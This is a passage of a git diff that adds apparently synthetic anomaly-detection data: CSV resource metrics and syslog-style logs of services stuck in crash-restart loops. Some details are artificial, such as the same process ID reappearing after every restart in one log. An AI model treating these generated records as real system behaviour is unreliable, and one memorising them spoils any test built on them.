+2025-07-03 10:00:55+00:00,3.92,6.53,0.74,0.06,0.05 +2025-07-03 10:01:00+00:00,3.99,6.34,0.68,0.08,0.09 +2025-07-03 10:01:05+00:00,2.67,7.38,0.23,0.01,0.09 +2025-07-03 10:01:10+00:00,3.11,6.87,0.97,0.05,0.07 +2025-07-03 10:01:15+00:00,2.73,5.27,0.36,0.0,0.07 +2025-07-03 10:01:20+00:00,2.31,5.96,0.42,0.07,0.07 +2025-07-03 10:01:25+00:00,3.53,7.82,0.23,0.01,0.03 +2025-07-03 10:01:30+00:00,3.75,7.05,0.83,0.09,0.02 +2025-07-03 10:01:35+00:00,3.6,5.93,0.15,0.05,0.04 +2025-07-03 10:01:40+00:00,3.84,5.28,0.3,0.03,0.02 +2025-07-03 10:01:45+00:00,3.73,5.52,0.06,0.02,0.03 +2025-07-03 10:01:50+00:00,3.09,7.9,0.96,0.01,0.09 +2025-07-03 10:01:55+00:00,3.95,7.88,0.15,0.01,0.09 +2025-07-03 10:02:00+00:00,63.79,34.51,40.36,1.21,1.69 +2025-07-03 10:02:05+00:00,66.06,41.38,41.37,1.57,0.77 +2025-07-03 10:02:10+00:00,82.65,59.78,44.28,1.16,1.27 +2025-07-03 10:02:15+00:00,88.57,71.38,35.98,1.21,1.62 +2025-07-03 10:02:20+00:00,79.66,86.92,5.92,0.73,0.6 +2025-07-03 10:02:25+00:00,93.63,91.43,4.59,0.8,0.81 +2025-07-03 10:02:30+00:00,76.72,87.86,7.0,0.89,0.93 +2025-07-03 10:02:35+00:00,81.72,89.03,3.35,0.77,1.17 +2025-07-03 10:02:40+00:00,89.87,91.34,6.74,0.75,0.89 +2025-07-03 10:02:45+00:00,90.88,87.1,6.71,0.95,0.97 +2025-07-03 10:02:50+00:00,2.31,7.52,0.45,0.04,0.08 +2025-07-03 10:02:55+00:00,3.84,5.5,0.17,0.08,0.02 +2025-07-03 10:03:00+00:00,2.85,6.37,0.49,0.07,0.04 +2025-07-03 10:03:05+00:00,3.92,6.76,0.83,0.06,0.07 +2025-07-03 10:03:10+00:00,3.54,6.74,0.21,0.09,0.05 +2025-07-03 10:03:15+00:00,2.14,7.36,0.5,0.09,0.02 +2025-07-03 10:03:20+00:00,2.09,7.81,0.09,0.06,0.09 +2025-07-03 10:03:25+00:00,3.7,7.28,0.19,0.01,0.09 +2025-07-03 10:03:30+00:00,3.14,6.31,0.7,0.02,0.06 +2025-07-03 10:03:35+00:00,3.55,5.33,0.39,0.08,0.1 +2025-07-03 10:03:40+00:00,3.06,6.91,0.39,0.05,0.07 +2025-07-03 10:03:45+00:00,3.5,6.38,0.28,0.02,0.07 +2025-07-03 10:03:50+00:00,3.08,7.55,0.92,0.09,0.05 +2025-07-03 10:03:55+00:00,3.19,7.28,0.48,0.07,0.04 +2025-07-03 10:04:00+00:00,59.97,29.4,34.66,1.8,0.8 +2025-07-03 10:04:05+00:00,65.33,43.75,32.18,1.7,1.06 +2025-07-03 10:04:10+00:00,79.39,56.28,47.39,1.34,0.7 +2025-07-03 10:04:15+00:00,86.72,71.3,31.51,1.11,0.77 +2025-07-03 10:04:20+00:00,86.73,90.27,3.66,0.56,0.8 +2025-07-03 10:04:25+00:00,83.29,87.21,4.88,0.89,0.82 +2025-07-03 10:04:30+00:00,86.05,84.92,3.2,0.81,0.88 +2025-07-03 10:04:35+00:00,87.23,89.95,5.67,1.09,0.65 +2025-07-03 10:04:40+00:00,85.94,91.73,6.72,0.71,1.07 +2025-07-03 10:04:45+00:00,87.06,87.21,6.97,0.85,0.78 +2025-07-03 10:04:50+00:00,2.14,7.51,0.49,0.1,0.03 +2025-07-03 10:04:55+00:00,2.31,6.52,0.98,0.02,0.04 +2025-07-03 10:05:00+00:00,3.53,7.92,0.91,0.02,0.1 +2025-07-03 10:05:05+00:00,2.72,6.16,0.34,0.08,0.05 +2025-07-03 10:05:10+00:00,3.16,7.06,0.48,0.09,0.04 +2025-07-03 10:05:15+00:00,2.49,5.26,0.66,0.01,0.06 +2025-07-03 10:05:20+00:00,2.58,6.18,0.96,0.04,0.05 +2025-07-03 10:05:25+00:00,2.24,5.98,0.03,0.04,0.01 +2025-07-03 10:05:30+00:00,2.06,6.83,0.1,0.05,0.05 +2025-07-03 10:05:35+00:00,3.34,6.78,0.05,0.0,0.01 +2025-07-03 10:05:40+00:00,2.97,6.21,0.52,0.08,0.09 +2025-07-03 10:05:45+00:00,3.29,7.26,0.74,0.04,0.07 +2025-07-03 10:05:50+00:00,3.06,7.01,0.41,0.0,0.01 +2025-07-03 10:05:55+00:00,3.29,6.76,0.93,0.02,0.07 +2025-07-03 10:06:00+00:00,57.53,28.64,30.17,1.06,1.14 +2025-07-03 10:06:05+00:00,74.69,46.2,37.29,1.55,1.01 +2025-07-03 10:06:10+00:00,75.13,61.08,42.55,1.58,0.88 +2025-07-03 10:06:15+00:00,92.16,75.32,32.85,1.78,1.27 +2025-07-03 10:06:20+00:00,90.23,83.02,5.08,0.99,0.61 +2025-07-03 10:06:25+00:00,85.36,91.68,3.16,0.69,1.08 +2025-07-03 10:06:30+00:00,93.11,91.07,6.81,0.87,1.03 +2025-07-03 10:06:35+00:00,93.55,87.99,5.43,0.85,0.66 +2025-07-03 10:06:40+00:00,77.4,86.89,6.02,1.08,1.03 +2025-07-03 10:06:45+00:00,77.0,87.21,6.62,0.73,1.16 +2025-07-03 10:06:50+00:00,3.36,6.28,0.78,0.07,0.05 +2025-07-03 10:06:55+00:00,2.23,5.44,0.11,0.09,0.09 +2025-07-03 10:07:00+00:00,3.01,5.99,0.1,0.01,0.01 +2025-07-03 10:07:05+00:00,2.14,6.07,0.1,0.01,0.09 +2025-07-03 10:07:10+00:00,3.17,6.41,0.31,0.04,0.07 +2025-07-03 10:07:15+00:00,3.18,5.37,0.94,0.08,0.06 +2025-07-03 10:07:20+00:00,3.2,5.08,0.95,0.04,0.05 +2025-07-03 10:07:25+00:00,2.79,6.14,0.92,0.07,0.09 diff --git a/anom_dataset/scenario_11/anom_11_18.log b/anom_dataset/scenario_11/anom_11_18.log new file mode 100644 index 0000000000000000000000000000000000000000..c410085226b884d6e451585820d25cbbb10e7af3 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_18.log @@ -0,0 +1,49 @@ +Jul 03 10:00:00 systemd[1]: Started web-app-crash.service. +Jul 03 10:00:15 web-app-crash[4321]: INFO Application initialized successfully. Listening on port 8080. +Jul 03 10:00:20 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:00:30 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:00:40 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:00:50 web-app-crash[4321]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 03 10:00:50 web-app-crash[4321]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 03 10:00:50 web-app-crash[4321]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 03 10:00:50 web-app-crash[4321]: at java.base/java.lang.Thread.run(Thread.java:829) +Jul 03 10:00:55 systemd[1]: web-app-crash.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:01:15 systemd[1]: web-app-crash.service: Failed with result 'exit-code'. +Jul 03 10:01:50 systemd[1]: web-app-crash.service: Service hold-off time over, scheduling restart. +Jul 03 10:02:00 systemd[1]: Started web-app-crash.service. +Jul 03 10:02:15 web-app-crash[4321]: INFO Application initialized successfully. Listening on port 8080. +Jul 03 10:02:20 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 CRON[5512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:40 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:02:50 web-app-crash[4321]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 03 10:02:50 web-app-crash[4321]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 03 10:02:50 web-app-crash[4321]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 03 10:02:50 web-app-crash[4321]: at java.base/java.lang.Thread.run(Thread.java:829) +Jul 03 10:02:55 systemd[1]: web-app-crash.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:15 systemd[1]: web-app-crash.service: Failed with result 'exit-code'. +Jul 03 10:03:50 systemd[1]: web-app-crash.service: Service hold-off time over, scheduling restart. +Jul 03 10:04:00 systemd[1]: Started web-app-crash.service. +Jul 03 10:04:15 web-app-crash[4321]: INFO Application initialized successfully. Listening on port 8080. +Jul 03 10:04:20 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:04:30 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:04:40 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:04:50 web-app-crash[4321]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 03 10:04:50 web-app-crash[4321]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 03 10:04:50 web-app-crash[4321]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 03 10:04:50 web-app-crash[4321]: at java.base/java.lang.Thread.run(Thread.java:829) +Jul 03 10:04:55 systemd[1]: web-app-crash.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:00 CRON[5512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:15 systemd[1]: web-app-crash.service: Failed with result 'exit-code'. +Jul 03 10:05:50 systemd[1]: web-app-crash.service: Service hold-off time over, scheduling restart. +Jul 03 10:06:00 systemd[1]: Started web-app-crash.service. +Jul 03 10:06:15 web-app-crash[4321]: INFO Application initialized successfully. Listening on port 8080. +Jul 03 10:06:20 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:06:30 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:06:40 web-app-crash[4321]: GET /api/v1/health status=200 OK +Jul 03 10:06:50 web-app-crash[4321]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 03 10:06:50 web-app-crash[4321]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 03 10:06:50 web-app-crash[4321]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 03 10:06:50 web-app-crash[4321]: at java.base/java.lang.Thread.run(Thread.java:829) +Jul 03 10:06:55 systemd[1]: web-app-crash.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:07:15 systemd[1]: web-app-crash.service: Failed with result 'exit-code'. diff --git a/anom_dataset/scenario_11/anom_11_19.csv b/anom_dataset/scenario_11/anom_11_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..dd3641594395eb193a98e37563b34c21dfa97648 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,0.0,35.0,0.0,0.0,0.12 +2025-07-11T10:00:05Z,0.68,36.88,0.0,0.0,0.0 +2025-07-11T10:00:10Z,2.39,38.75,3.06,0.12,0.22 +2025-07-11T10:00:15Z,8.06,40.62,3.71,0.59,0.25 +2025-07-11T10:00:20Z,12.06,42.5,3.21,0.48,0.38 +2025-07-11T10:00:25Z,8.55,44.38,6.91,0.38,0.78 +2025-07-11T10:00:30Z,3.84,46.25,5.52,0.48,0.95 +2025-07-11T10:00:35Z,9.38,48.12,7.9,0.9,1.07 +2025-07-11T10:00:40Z,61.31,41.92,16.58,1.53,1.89 +2025-07-11T10:00:45Z,68.47,56.66,27.39,2.83,2.55 +2025-07-11T10:00:50Z,83.49,76.43,28.21,2.96,2.57 +2025-07-11T10:00:55Z,1.65,5.21,0.35,0.48,0.23 +2025-07-11T10:01:00Z,0.0,35.0,0.0,0.0,0.13 +2025-07-11T10:01:05Z,2.91,36.88,0.93,0.0,0.12 +2025-07-11T10:01:10Z,5.68,38.75,2.68,0.23,0.3 +2025-07-11T10:01:15Z,4.17,40.62,4.15,0.25,0.09 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10:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:00:55 crash-app[2212]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:00:55 crash-app[2212]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:00:55 crash-app[2212]: at com.example.Main.run(Main.java:45) +Jul 11 10:00:55 crash-app[2212]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:01:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:01:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 1. +Jul 11 10:01:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:01:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:01:00 crash-app[2872]: Application starting up... +Jul 11 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 11 10:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:01:55 crash-app[2872]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:01:55 crash-app[2872]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:01:55 crash-app[2872]: at com.example.Main.run(Main.java:45) +Jul 11 10:01:55 crash-app[2872]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:02:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:02:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:02:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 2. +Jul 11 10:02:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:02:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:02:00 crash-app[2096]: Application starting up... +Jul 11 10:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 11 10:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:02:55 crash-app[2096]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:02:55 crash-app[2096]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:02:55 crash-app[2096]: at com.example.Main.run(Main.java:45) +Jul 11 10:02:55 crash-app[2096]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:03:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:03:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 3. +Jul 11 10:03:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:03:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:03:00 crash-app[2887]: Application starting up... +Jul 11 10:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:03:30 systemd[1]: Starting daily clean up activities... +Jul 11 10:03:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:03:55 crash-app[2887]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:03:55 crash-app[2887]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:03:55 crash-app[2887]: at com.example.Main.run(Main.java:45) +Jul 11 10:03:55 crash-app[2887]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:04:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:04:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:04:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 4. +Jul 11 10:04:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:04:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:04:00 crash-app[2905]: Application starting up... +Jul 11 10:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:04:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:04:40 systemd[1]: Starting daily clean up activities... +Jul 11 10:04:55 crash-app[2905]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:04:55 crash-app[2905]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:04:55 crash-app[2905]: at com.example.Main.run(Main.java:45) +Jul 11 10:04:55 crash-app[2905]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:05:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:05:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:05:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 5. +Jul 11 10:05:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:05:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:05:00 crash-app[2351]: Application starting up... +Jul 11 10:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 11 10:05:55 crash-app[2351]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:05:55 crash-app[2351]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:05:55 crash-app[2351]: at com.example.Main.run(Main.java:45) +Jul 11 10:05:55 crash-app[2351]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:06:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:06:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:06:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:06:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:06:00 crash-app[2151]: Application starting up... +Jul 11 10:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:06:55 crash-app[2151]: FATAL: Unhandled exception: NullPointerException +Jul 11 10:06:55 crash-app[2151]: at com.example.MyService.doSomething(MyService.java:123) +Jul 11 10:06:55 crash-app[2151]: at com.example.Main.run(Main.java:45) +Jul 11 10:06:55 crash-app[2151]: at java.lang.Thread.run(Thread.java:748) +Jul 11 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 11 10:07:00 systemd[1]: Service crash-app.service failed. +Jul 11 10:07:00 systemd[1]: crash-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:07:00 systemd[1]: crash-app.service: Scheduled restart job, restart counter is at 7. +Jul 11 10:07:00 systemd[1]: Stopped Crashy Application Service. +Jul 11 10:07:00 systemd[1]: Started Crashy Application Service. +Jul 11 10:07:00 crash-app[2565]: Application starting up... +Jul 11 10:07:05 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_11/anom_11_2.csv b/anom_dataset/scenario_11/anom_11_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..f7054025b415c418db7fd044a1c077b7ee5e3265 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16 09:00:00+00:00,3.21,13.28,2.89,0.09,0.09 +2025-08-16 09:00:05+00:00,3.81,14.24,4.64,0.1,0.04 +2025-08-16 09:00:10+00:00,89.16,21.55,37.2,2.53,1.59 +2025-08-16 09:00:15+00:00,93.18,35.56,41.97,2.72,1.31 +2025-08-16 09:00:20+00:00,96.93,50.6,47.35,2.75,1.73 +2025-08-16 09:00:25+00:00,72.08,71.13,12.31,0.82,0.76 +2025-08-16 09:00:30+00:00,65.44,71.51,15.22,1.08,0.75 +2025-08-16 09:00:35+00:00,69.08,73.77,14.54,0.93,0.58 +2025-08-16 09:00:40+00:00,71.54,73.6,15.84,0.61,0.68 +2025-08-16 09:00:45+00:00,67.15,70.25,8.22,1.16,0.84 +2025-08-16 09:00:50+00:00,69.06,75.34,8.74,1.16,0.61 +2025-08-16 09:00:55+00:00,96.14,75.73,16.54,0.58,0.57 +2025-08-16 09:01:00+00:00,3.54,13.29,5.01,0.06,0.05 +2025-08-16 09:01:05+00:00,4.96,13.61,4.26,0.08,0.02 +2025-08-16 09:01:10+00:00,5.67,14.52,5.8,0.1,0.08 +2025-08-16 09:01:15+00:00,96.61,15.89,52.43,2.72,1.58 +2025-08-16 09:01:20+00:00,86.41,39.75,37.05,2.21,1.38 +2025-08-16 09:01:25+00:00,84.95,51.14,43.62,2.57,1.29 +2025-08-16 09:01:30+00:00,67.57,70.15,16.76,0.64,0.56 +2025-08-16 09:01:35+00:00,66.27,76.54,14.38,0.98,0.51 +2025-08-16 09:01:40+00:00,73.14,70.93,11.58,1.13,0.82 +2025-08-16 09:01:45+00:00,74.11,76.1,12.57,0.68,0.73 +2025-08-16 09:01:50+00:00,70.62,73.69,16.96,0.93,0.65 +2025-08-16 09:01:55+00:00,78.93,76.99,10.1,1.2,0.98 +2025-08-16 09:02:00+00:00,96.89,73.2,18.35,0.45,0.37 +2025-08-16 09:02:05+00:00,4.11,14.78,2.07,0.11,0.03 +2025-08-16 09:02:10+00:00,3.56,14.98,2.24,0.08,0.11 +2025-08-16 09:02:15+00:00,5.69,14.48,3.27,0.05,0.02 +2025-08-16 09:02:20+00:00,80.56,18.57,45.11,2.09,1.01 +2025-08-16 09:02:25+00:00,88.23,36.95,39.75,2.56,0.97 +2025-08-16 09:02:30+00:00,96.77,52.71,41.48,2.79,1.19 +2025-08-16 09:02:35+00:00,72.45,70.99,13.27,0.91,0.68 +2025-08-16 09:02:40+00:00,69.25,77.2,17.92,0.64,0.77 +2025-08-16 09:02:45+00:00,67.53,71.21,11.76,1.06,0.67 +2025-08-16 09:02:50+00:00,67.81,75.58,8.4,0.88,0.82 +2025-08-16 09:02:55+00:00,65.27,72.1,12.97,1.19,0.66 +2025-08-16 09:03:00+00:00,78.88,73.61,17.39,0.64,0.85 +2025-08-16 09:03:05+00:00,97.22,73.61,16.15,0.5,0.29 +2025-08-16 09:03:10+00:00,5.72,11.17,5.9,0.1,0.08 +2025-08-16 09:03:15+00:00,3.71,13.36,5.46,0.02,0.05 +2025-08-16 09:03:20+00:00,4.06,13.36,5.63,0.03,0.1 +2025-08-16 09:03:25+00:00,84.18,21.63,45.11,2.06,1.72 +2025-08-16 09:03:30+00:00,95.08,33.9,44.67,2.34,1.38 +2025-08-16 09:03:35+00:00,90.69,53.98,54.56,2.29,1.22 +2025-08-16 09:03:40+00:00,70.88,70.35,11.17,0.79,0.76 +2025-08-16 09:03:45+00:00,69.0,70.05,9.45,0.62,0.96 +2025-08-16 09:03:50+00:00,77.43,76.45,17.51,0.97,0.82 +2025-08-16 09:03:55+00:00,75.43,71.84,11.67,0.82,0.52 +2025-08-16 09:04:00+00:00,78.06,70.92,15.6,1.16,1.0 +2025-08-16 09:04:05+00:00,71.69,73.26,12.17,0.92,0.57 +2025-08-16 09:04:10+00:00,96.06,76.82,21.85,0.44,0.23 +2025-08-16 09:04:15+00:00,5.02,10.35,2.01,0.06,0.11 +2025-08-16 09:04:20+00:00,5.69,11.6,3.84,0.06,0.08 +2025-08-16 09:04:25+00:00,5.06,13.29,5.42,0.12,0.02 +2025-08-16 09:04:30+00:00,90.79,19.25,43.85,2.1,1.0 +2025-08-16 09:04:35+00:00,90.55,34.68,48.6,2.32,1.14 +2025-08-16 09:04:40+00:00,96.45,54.19,38.27,1.91,1.75 +2025-08-16 09:04:45+00:00,71.67,76.17,16.71,0.7,0.79 +2025-08-16 09:04:50+00:00,72.18,74.75,14.81,1.15,0.9 +2025-08-16 09:04:55+00:00,72.42,74.5,12.92,0.7,0.95 +2025-08-16 09:05:00+00:00,68.59,72.4,14.97,1.15,0.52 +2025-08-16 09:05:05+00:00,65.78,73.68,16.1,0.6,0.7 +2025-08-16 09:05:10+00:00,72.52,76.24,13.42,0.71,0.99 +2025-08-16 09:05:15+00:00,96.64,72.29,21.58,0.35,0.33 +2025-08-16 09:05:20+00:00,3.04,14.82,5.53,0.04,0.06 +2025-08-16 09:05:25+00:00,4.67,11.64,3.98,0.05,0.02 +2025-08-16 09:05:30+00:00,4.9,12.87,3.07,0.08,0.1 +2025-08-16 09:05:35+00:00,90.06,15.58,48.24,2.11,1.36 +2025-08-16 09:05:40+00:00,85.45,36.66,54.57,2.64,1.69 +2025-08-16 09:05:45+00:00,92.84,54.12,39.87,1.91,1.01 +2025-08-16 09:05:50+00:00,66.91,74.48,11.42,0.86,0.8 +2025-08-16 09:05:55+00:00,74.11,71.57,16.5,1.05,0.7 +2025-08-16 09:06:00+00:00,70.86,73.38,13.87,0.7,0.91 +2025-08-16 09:06:05+00:00,76.92,77.68,13.91,0.9,0.81 +2025-08-16 09:06:10+00:00,76.17,76.33,16.41,0.68,0.71 +2025-08-16 09:06:15+00:00,76.83,72.69,10.44,0.66,0.96 +2025-08-16 09:06:20+00:00,97.04,77.65,16.68,0.52,0.39 +2025-08-16 09:06:25+00:00,5.73,10.61,3.67,0.07,0.07 +2025-08-16 09:06:30+00:00,4.42,13.33,5.47,0.09,0.08 +2025-08-16 09:06:35+00:00,3.68,12.34,5.89,0.06,0.05 +2025-08-16 09:06:40+00:00,86.37,15.18,54.72,1.89,1.35 +2025-08-16 09:06:45+00:00,82.49,36.9,46.28,1.89,1.26 +2025-08-16 09:06:50+00:00,91.18,55.24,45.79,2.0,1.76 +2025-08-16 09:06:55+00:00,79.57,77.16,15.5,0.81,0.56 +2025-08-16 09:07:00+00:00,74.31,76.75,13.04,0.89,0.96 +2025-08-16 09:07:05+00:00,69.34,77.82,9.54,0.85,0.81 +2025-08-16 09:07:10+00:00,68.36,74.27,14.3,0.65,0.58 +2025-08-16 09:07:15+00:00,66.92,77.23,16.29,0.91,0.66 +2025-08-16 09:07:20+00:00,77.32,77.56,13.77,1.16,0.96 +2025-08-16 09:07:25+00:00,96.28,76.74,16.65,0.44,0.52 diff --git a/anom_dataset/scenario_11/anom_11_2.log b/anom_dataset/scenario_11/anom_11_2.log new file mode 100644 index 0000000000000000000000000000000000000000..611605a11370df3e0208ce039c2a345764370b01 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_2.log @@ -0,0 +1,40 @@ +Aug 16 09:00:15 api-gateway[23000]: INFO: Service initializing... Git-SHA: 010d88 +Aug 16 09:00:55 api-gateway[23000]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 09:01:00 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:01:01 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:01:02 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 1. +Aug 16 09:01:05 systemd[1]: Started api-gateway.service. +Aug 16 09:01:20 api-gateway[23127]: INFO: Service initializing... Git-SHA: 010f05 +Aug 16 09:01:40 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 16 09:02:00 api-gateway[23127]: FATAL: Null pointer dereference in core processing thread +Aug 16 09:02:05 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:02:06 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:02:07 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 2. +Aug 16 09:02:10 systemd[1]: Started api-gateway.service. +Aug 16 09:02:25 api-gateway[23254]: INFO: Service initializing... Git-SHA: 011082 +Aug 16 09:03:05 api-gateway[23254]: FATAL: Corrupted data block detected in input queue +Aug 16 09:03:10 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:03:11 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:03:12 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 3. +Aug 16 09:03:15 systemd[1]: Started api-gateway.service. +Aug 16 09:03:30 api-gateway[23381]: INFO: Service initializing... Git-SHA: 0111ff +Aug 16 09:04:10 api-gateway[23381]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 09:04:15 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:04:16 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:04:17 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 4. +Aug 16 09:04:20 systemd[1]: Started api-gateway.service. +Aug 16 09:04:35 api-gateway[23508]: INFO: Service initializing... Git-SHA: 01137c +Aug 16 09:04:35 CRON[23456]: (admin) CMD ( /home/admin/scripts/backup.sh) +Aug 16 09:05:15 api-gateway[23508]: FATAL: Null pointer dereference in core processing thread +Aug 16 09:05:20 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:05:21 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:05:22 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 5. +Aug 16 09:05:25 systemd[1]: Started api-gateway.service. +Aug 16 09:05:40 api-gateway[23635]: INFO: Service initializing... Git-SHA: 0114f9 +Aug 16 09:06:20 api-gateway[23635]: FATAL: Corrupted data block detected in input queue +Aug 16 09:06:25 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 09:06:26 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 09:06:27 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 6. +Aug 16 09:06:30 systemd[1]: Started api-gateway.service. +Aug 16 09:06:45 api-gateway[23762]: INFO: Service initializing... Git-SHA: 011676 +Aug 16 09:07:25 api-gateway[23762]: FATAL: Memory access violation at 